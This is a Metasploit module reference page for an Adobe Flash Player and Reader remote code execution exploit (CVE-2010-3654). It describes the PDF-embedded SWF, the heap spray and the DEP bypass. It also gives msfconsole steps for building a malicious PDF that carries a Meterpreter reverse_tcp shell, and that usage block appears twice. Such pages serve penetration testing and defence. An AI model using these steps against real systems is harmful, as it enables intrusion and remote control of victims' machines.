Adobe Flash Player "Button" Remote Code Execution
This module exploits a vulnerability in the handling of certain SWF movies within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also vulnerable, as are any other applications that may embed Flash player. Arbitrary code execution is achieved by embedding a specially crafted Flash movie into a PDF document. An AcroJS heap spray is used in order to ensure that the memory used by the invalid pointer issue is controlled. NOTE: This module uses a similar DEP bypass method to that used within the adobe_libtiff module. This method is unlikely to work across various Windows versions due a the hardcoded syscall number.
Exploit Rank
- Normal
Exploit Authors
- Unknown < >
- Haifei Li < >
- jduck < jduck [at] metasploit.com >
Vulnerability References
- CVE-2010-3654
- OSVDB-68932
- BID-44504
- http://www.adobe.com/support/security/advisories/apsa10-05.html
- http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve...
- http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/
Exploit Targets
- 0 - Automatic (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/fileformat/a-pdf_wav_to_mp3
- exploit/windows/fileformat/acdsee_fotoslate_string
- exploit/windows/fileformat/acdsee_xpm
- exploit/windows/fileformat/activepdf_webgrabber
- exploit/windows/fileformat/adobe_collectemailinfo
- exploit/windows/fileformat/adobe_cooltype_sing
- exploit/windows/fileformat/adobe_flashplayer_newfunction
- exploit/windows/fileformat/adobe_flatedecode_predictor02
- exploit/windows/fileformat/adobe_geticon
- exploit/windows/fileformat/adobe_illustrator_v14_eps
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/fileformat/adobe_flashplayer_button
msf exploit(adobe_flashplayer_button) > show payloads
msf exploit(adobe_flashplayer_button) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_flashplayer_button) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_flashplayer_button) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/fileformat/adobe_flashplayer_button
msf exploit(adobe_flashplayer_button) > show payloads
msf exploit(adobe_flashplayer_button) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_flashplayer_button) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_flashplayer_button) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf.pdf) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |